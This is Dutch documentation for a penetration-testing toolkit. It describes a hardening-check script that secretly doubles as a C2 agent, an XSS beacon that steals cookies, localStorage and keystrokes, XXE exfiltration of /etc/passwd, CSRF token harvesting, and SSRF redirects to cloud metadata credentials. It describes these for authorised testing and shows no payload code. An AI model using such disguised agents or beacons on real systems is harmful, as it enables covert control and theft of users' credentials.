.\Check-Aanbevelingen.ps1 -Agent http://10.0.0.1:5000
Op het Agents-dashboard (/dashboard/agents) verschijnt de agent in de tabel. Commando sturen, output bekijken, geschiedenis raadplegen, opruimen wanneer je klaar bent. Het is een volledig C2-systeem verpakt in een script dat zich voordoet als een hardening-check. En de hardening-check wérkt ook nog. Het is een twee-voor-de-prijs-van-één-deal, behalve dat de prijs een ethische verantwoordelijkheid is en de “twee” bestaan uit “je systeem controleren” en “je systeem besturen.” Het verschil tussen die twee is een vlag. Eén enkele vlag. -a. Twee tekens. Groot verschil.
Hier wordt het spannend. Of verontrustend. Het hangt ervan af of je een contract hebt of niet, en dat onderscheid maakt in de beveiligingsindustrie het verschil tussen “consultant” en “verdachte.” Zorg dat je het juiste visitekaartje hebt.
De applicatie serveert een JavaScript-bestand op /x.js. Als een kwetsbare website dit laadt via een XSS-kwetsbaarheid, doet het script drie dingen: cookies sturen naar /xxs/cookies, localStorage dumpen naar /xxs/localstorage, en toetsaanslagen loggen naar /xxs/keylogger. De server dedupliceert op IP + User-Agent + MD5-hash en slaat alles op. Het is een digitale stoffzuiger voor andermans browserinhoud. Je kunt dit op twee manieren bekijken: als een schending van privacy of als een beveiligingstest. Het verschil is een handtekening op een contract.
Het XSS-dashboard (/dashboard/xxs) toont uitsluitend de unieke hooked clients van de afgelopen 5 minuten. Geen historisch archief van ooit-gehookte browsers die allang zijn afgesloten. Alleen wat nu draait. De KPI toont “Active Clients (5m)” met het aantal unieke IP’s. De tabel: IP, user-agent, last seen. Het is real-time. Het is relevant. Het is opgeruimd. Drie bijvoeglijke naamwoorden die zelden op dezelfde software van toepassing zijn, en als ze dat wel zijn, weet je dat iemand zijn best heeft gedaan.
De beacon pollt periodiek /xxs/commands. Bij elke poll wordt het tijdstip bijgewerkt — een heartbeat. Commando’s worden aangemaakt via het dashboard of de API, opgehaald door de beacon, uitgevoerd in de browser van het doelwit, en het resultaat wordt teruggestuurd. Het is een volledig XSS C2-systeem. En het is precies het bewijs dat je opdrachtgever nodig heeft om te begrijpen dat XSS niet “alleen maar een pop-upje” is. Dat misverstand is zo wijdverbreid dat je er een boek over zou kunnen schrijven. Maar dat ga je niet doen, want je bent een pentester en geen auteur, hoewel het feit dat je deze handleiding leest suggereert dat je op zijn minst een lezer bent, en dat is al meer dan de gemiddelde CISO.
Cookies in Netscape-formaat (direct bruikbaar met curl -b). Keylogger-data als tekst. localStorage als dump. Credentials als gebruiker:wachtwoord-paren. Als je opdrachtgever deze bestanden ziet in het rapport, hoeft hij niet meer te vragen hoe erg XSS is. De cookies liggen op tafel. Letterlijk. Het is het meest overtuigende bewijs dat je kunt leveren zonder iemands wachtwoord hardop voor te lezen in een vergaderruimte. Hoewel — als de opdrachtgever bijzonder hardleers is — dat laatste ook een optie is. Ik raad het niet aan. Maar ik verbied het ook niet.
XML External Entity injection bestaat omdat iemand ooit besloot dat XML-parsers bestanden moesten kunnen openen van willekeurige locaties. Een ontwerpbeslissing die, in retrospect, vergelijkbaar is met het installeren van een kattenluikje in de deur van een kluis. Het leek op dat moment vast logisch. De kat vond het geweldig. De inbreker ook.
Genereert een kwaadaardige DTD die een bestand uitleest en doorstuurt. De parameter ?request=/etc/passwd bepaalt welk bestand. Het endpoint heet yolo. Dat is geen acroniem. Dat is precies wat het lijkt. De ontwikkelaar heeft niet eens de moeite genomen om te doen alsof het een professionele naam was. En weet je? Dat is eerlijker dan 90% van de enterprise-API’s die zichzelf namen geven als “DataSyncBridge Pro” maar onder de motorkap precies hetzelfde doen, alleen langzamer en met een licentie van 40.000 euro per jaar.
Het callback-endpoint. De parameter heet hatseflats. De data wordt opgeslagen in raw/loot/{ip}/xxe/{naam}.txt. Je leest die namen — froufrou, hatseflats — en je denkt: “dit kan niet serieus zijn.” De bestanden die je ermee exfiltreert zijn echter doodserieus. En dat contrast — de meest serieuze dingen omhuld in de meest absurde woorden — is misschien wel het meest Nederlandse aan deze hele applicatie.
Error-based XXE. Data via een XML-parse error. Geen uitgaande verbindingen nodig. Soms is de elegantste oplossing de lelijkste, en dit is het bewijs.
Je opdrachtgever profiteert: je rapport bevat niet “de XML-parser is kwetsbaar” maar “hier is de inhoud van /etc/passwd die via uw XML-endpoint is uitgelezen.” Het eerste is een opmerking. Het tweede is een bewijs. Het verschil in urgentie is als het verschil tussen “het raam zou open kunnen staan” en “er staat iemand in uw woonkamer.” Raad eens welke zin sneller tot actie leidt.
Drie labs. Drie aanvalstechnieken. Drie dashboards. Drie API’s. Het is een soort drievuldigheidsleer voor offensieve beveiliging — behalve dat niemand in deze drie gelooft uit vrije wil. Je gelooft erin omdat je opdrachtgever kwetsbaar is.
Token-harvesting en form-replay. De /csrf.js beacon scant formulieren, extraheert hidden fields, hookt submit events. /csrf/inject.html genereert auto-submit forms. Dashboard: /dashboard/csrf. Je opdrachtgever leert of zijn CSRF-protectie echt werkt of alleen een illusie is. Het verschil tussen een slot en een sticker van een slot. De sticker is goedkoper. De sticker houdt ook niemand tegen.
SQL injection relay. /sqli2/inject stuurt requests door naar het doel en logt alles. Out-of-band callback voor blind SQLi. Dashboard met cheatsheet per database-type. Je opdrachtgever krijgt geen academische uitleg over wat SQL injection is. Hij krijgt een concrete demonstratie van wat er uit zijn database te halen valt. Dat is het verschil tussen theorie en praktijk: theorie is als iemand je vertelt dat het water koud is. Praktijk is als iemand je erin gooit.
HTTP 307-redirects naar AWS metadata, Azure, Google Cloud, Docker daemon, /etc/passwd, win.ini. Plus een dynamische redirect en blind SSRF-callback. Alle requests worden gelogd. Stel je voor: je opdrachtgever heeft een SSRF-kwetsbaarheid. Jouw rapport laat zien dat zijn server het AWS-metadata-endpoint heeft geraadpleegd — inclusief de IAM-credentials die erbij kwamen. Het moment waarop de kleur wegtrekt uit het gezicht van de CISO is het moment waarop je weet dat je rapport effect heeft. Het is niet prettig. Het is niet gezellig. Maar het is noodzakelijk. En de CISO zal je er uiteindelijk dankbaar voor zijn. Niet vandaag. Maar uiteindelijk.
De globale zoekfunctie (/api/search?q=zoekterm) doorzoekt findings, templates, notities, commands, recordings, loot en pagina’s. Minimaal 2 karakters. Case-insensitive. Maximaal 8 resultaten per categorie. Beschikbaar via de zoekbalk in de header.
Het werkt. Het is snel. Het doet wat het hoort te doen en verder niets. Dat klinkt als het absolute minimum. En dat is het ook. Maar in een wereld waar zoekfuncties regelmatig resultaten retourneren die geen enkel aantoonbaar verband hebben met de zoekterm — je denkt onwillekeurig aan de zoekfunctie van Outlook, die resultaten produceert met de trefzekerheid van een blinde darter na acht biertjes — is “het werkt gewoon” een revolutionaire prestatie. Gefeliciteerd, zoekfunctie. Je doet het. Je doet het gewoon. Ik ben trots op je.
Een applicatie vol exploits die zich druk maakt om haar eigen beveiliging is als een brandweerman die rookmelders installeert in zijn eigen huis: het lijkt overbodig, maar het is juist het bewijs dat hij het serieus neemt. Het bewijs dat de loodgieter géén lekkende kraan heeft. Deze applicatie heeft de beste kranen van de straat. Let maar op.
127.0.0.1 / ::1 zonder credentials: directe toegang. Je bent lokaal. Je bent vertrouwd. Voorlopig.IB_ADMIN_USER + IB_ADMIN_PASSWORD: login via /login. Timing-safe vergelijking. Open-redirect preventie. Het soort beveiliging dat je niet opvalt totdat iemand het probeert te omzeilen en faalt.X-Dashboard-Token / X-Task-Token header. Voor als je te lui bent om in te loggen maar te professioneel bent om het onbeveiligd te laten. Een gezonde middenweg.Nonce-based CSP op alle dashboardpagina’s. Geen inline scripts of styles zonder geldige nonce. De lab-routes zijn uitgesloten van CSP — want een CSP op een XSS-lab is als een “niet rennen”-bordje op een atletiekbaan. Het is technisch correct. Het is praktisch absurd.
Geen shell=True. Nergens. Nooit. Onder geen enkele omstandigheid. Ook niet als je heel lief vraagt. Alle subprocessen gebruiken expliciete argumentlijsten. Regex-validatie. Pad-traversal verboden. Het is het soort discipline die je niet verwacht in een project met bestanden die crystalmeth.cs heten. En dat contrast is het meest veelzeggende aan het hele project: onder de belachelijke namen zit code die zich aan de regels houdt. Het is als een clown die een uitstekende belastingaangifte doet.
Alleen commando’s in de _TASKS-dictionary worden uitgevoerd. De rest wordt geweigerd. Geen discussie. Geen “maar als je het echt wilt.” Nee. Punt. Het is het meest assertieve onderdeel van de hele applicatie, en je zult het nooit waarderen totdat het je redt van een typfout die anders je hele systeem had platgelegd. Dan waardeer je het heel erg. Even. En dan vergeet je het weer.
| Variabele | Standaard | Doel |
|---|---|---|
SECRET_KEY | random | Session/CSRF signing |
IB_ADMIN_USER / IB_ADMIN_PASSWORD | niet ingesteld | Login-credentials (schakelt localhost-bypass uit) |
DASHBOARD_ACCESS_TOKEN | niet ingesteld | Token-gebaseerde API-toegang |
TASK_RUNNER_TOKEN | niet ingesteld | Token voor task runner API |
PUBLIC_UPLOAD | false | Uploads van niet-localhost |
PUBLIC_DOWNLOADS | false | Downloads van niet-localhost |
SESSION_COOKIE_SECURE | false | Secure cookie flag |
BEHIND_PROXY | false | ProxyFix inschakelen |
cleanup.sh vraagt bevestiging en verwijdert vervolgens alles: database, evidence, opnames, rapporten, inhoud van alle raw/-directories. De directories zelf blijven staan. .gitkeep-bestanden worden gespaard.
Het is digitale ontruiming. Alles weg. Schone lei. Als een hotelkamer die wordt klaargemaakt voor de volgende gast, behalve dat de vorige gast een penetratietest was en de kamer vol bewijs lag dat je liever niet bij de receptie inlevert. “Ja hallo, ik wil uitchecken, en hier is een USB-stick met de volledige Active Directory van mijn opdrachtgever, wilt u die bij de sleutel leggen?” Nee. Nee, dat wil je niet. Je draait cleanup.sh. En je vertelt niemand.
Elke applicatie heeft eigenaardigheden. De meeste applicaties verbergen ze. Deze draagt ze als eretekens op de revers van een jas die je niet aan zou trekken naar een sollicitatiegesprek maar die je elke dag draagt als je alleen bent.
Enfin, je zult ze wel ontdekken.
Voor als je wilt begrijpen hoe het in elkaar zit. Of hoe het niet uit elkaar valt. Dat is dezelfde vraag, maar dan met een optimistischer glazuur eroverheen.
app.py bevat create_app(). Flask, SQLAlchemy, Flask-Migrate, blueprints. Auto-creatie van een standaard instellingen-rij als de database leeg is, zodat de rest van de applicatie niet crasht bij de eerste start. Het is het fundament. Het is degelijk. Het is — voor dit project — bijna verdacht normaal. Alsof iemand één bestand wilde schrijven dat de volwassene in de kamer is. En dat is gelukt.
| Bestand | Blueprint | Wat het doet |
|---|---|---|
index.py | index_bp | Dashboard — het zenuwcentrum |
agent.py | agent_bp | Agent C2 — de poppenspeler |
login.py | login_bp | Login/logout — de uitsmijter |
findings.py | findings_bp | Findings + rapport — de raison d’être |
tasks.py | tasks_bp | Task runner — het plichtsgetrouwe werkpaard |
macro.py | macro_bp | Generators + commands + screen + recordings |
notes.py | notes_bp | Notities |
rapport.py | rapport_bp | Rapportgeneratie — de broodwinner |
upload.py | upload_bp | File uploads |
download.py | download_bp | File downloads |
xxs.py | xxs_bp | XSS lab — de koekjesdief |
xxe.py | xxe_bp | XXE lab — de bestandenlezer |
csrf.py | csrf_bp | CSRF token-harvesting |
sqli2.py | sqli2_bp | SQLi relay |
ssrf.py | ssrf_bp | SSRF redirects |
output_view.py | output_bp | Output viewer |
search.py | search_bp | Zoekfunctie |
security.py | — | Toegangscontrole |
admin.py | — | Flask-Admin |
Eén SQLite-bestand. Auto-creatie met db.create_all(). Auto-migratie van ontbrekende kolommen. Standaard instellingen-rij als de database leeg is. Het is het model dat de PostgreSQL-purist doet huiveren, de MongoDB-evangelist doet glimlachen (om de verkeerde redenen), en de pragmaticus doet zeggen: “het werkt, en als het breekt, kopieer ik het bestand.” Dat laatste is — voor alle duidelijkheid — een valide backup-strategie voor SQLite. Het is zelfs de aanbevolen backup-strategie. De eenvoud is geen beperking. Het is een feature. Of dat is tenminste wat je jezelf vertelt om drie uur ’s nachts wanneer je de database per ongeluk hebt verwijderd en vijf seconden later een nieuwe hebt door de applicatie te herstarten. Vijf seconden. Dat is sneller dan je “oh nee” kunt zeggen. En je zegt “oh nee” snel.
De code zit in meuk/flask/. “Meuk” betekent “rommel” of “spullen” of “troep.” Het is alsof je broncode opslaat in een map genaamd misc_junk. Het is bescheidenheid tot het punt van zelfvernedering — het soort bescheidenheid dat ofwel authentiek is, ofwel de meest briljante vorm van sociale camouflage. Want niemand opent een map genaamd “meuk” en verwacht iets indrukwekkends. Waardoor alles dat je er wél in vindt des te indrukwekkender is. Het is de softwareversie van onderpresteren bij de eerste date en dan een perfect diner koken bij de tweede.
Templates in meuk/flask/html/. Static in static/. Database in meuk/flask/db/. Payloads in http/payloads/. Tools in http/tools/. Commands in http/commands/. Output in raw/. Rapporten in rapport/. Het is organisch gegroeid. Het is niet ontworpen. Het werkt. Het is een stad zonder stedenbouwkundige waar je toch de bakker kunt vinden. En de bakker verkoopt ook exploits, maar dat is een detail dat je voor jezelf houdt.
Incompetent Bastard is het soort software dat niet zou moeten bestaan volgens de regels van professionele softwareontwikkeling. De mappenstructuur is eigenwijs. De variabelnamen zijn Nederlands. Het C#-project heet “meth.” De XXE-callback heet “froufrou.” De motivatiequotes komen van de Borg. Het versienummer is het Antwoord op de Ultieme Vraag.
Maar het valideert al je input. Het gebruikt geen shell=True. Het heeft een CVSS 4.0-calculator, een LaTeX-rapportgenerator, een XSS C2-systeem met heartbeat, een Agent-framework met asciicast-recordings, 194 doorzoekbare commando’s op Ctrl+K, acht payload-generators, quick-add modals met CVSS-calculator en LaTeX-toolbar, een webterminal met automatische opname, een drielaags toegangsmodel met nonce-based CSP, dynamische scope targets met autocomplete in het finding-formulier, een eenvoudige/geavanceerde modus-toggle die je voorkeur onthoudt, een automatisch “Tools en technieken”-hoofdstuk in je rapport, vier hardening-check scripts met ingebouwde C2-agent voor Linux, macOS en Windows, een release-builder die je project schoonmaakt voor distributie, en een zoekfunctie die gewoon werkt.
Het helpt jou om sneller, grondiger en consistenter te werken. Het helpt je opdrachtgever om betere rapporten te krijgen met reproduceerbaar bewijs, gestandaardiseerde bevindingen en onweerlegbare tijdlijnen. Het is gebouwd door iemand die precies weet wat hij doet maar de bescheidenheid heeft om zijn broncode op te slaan in een map die “rommel” heet.
De naam is een grap. Het werk is dat niet.
Gebruik het alleen in geautoriseerde omgevingen. Pas de IP-adressen aan. En als de applicatie “Tot ziens en bedankt voor de vis” zegt — bedank die vissen. Zij wisten al dat het einde naderde. Jij weet nu dat het begin er is.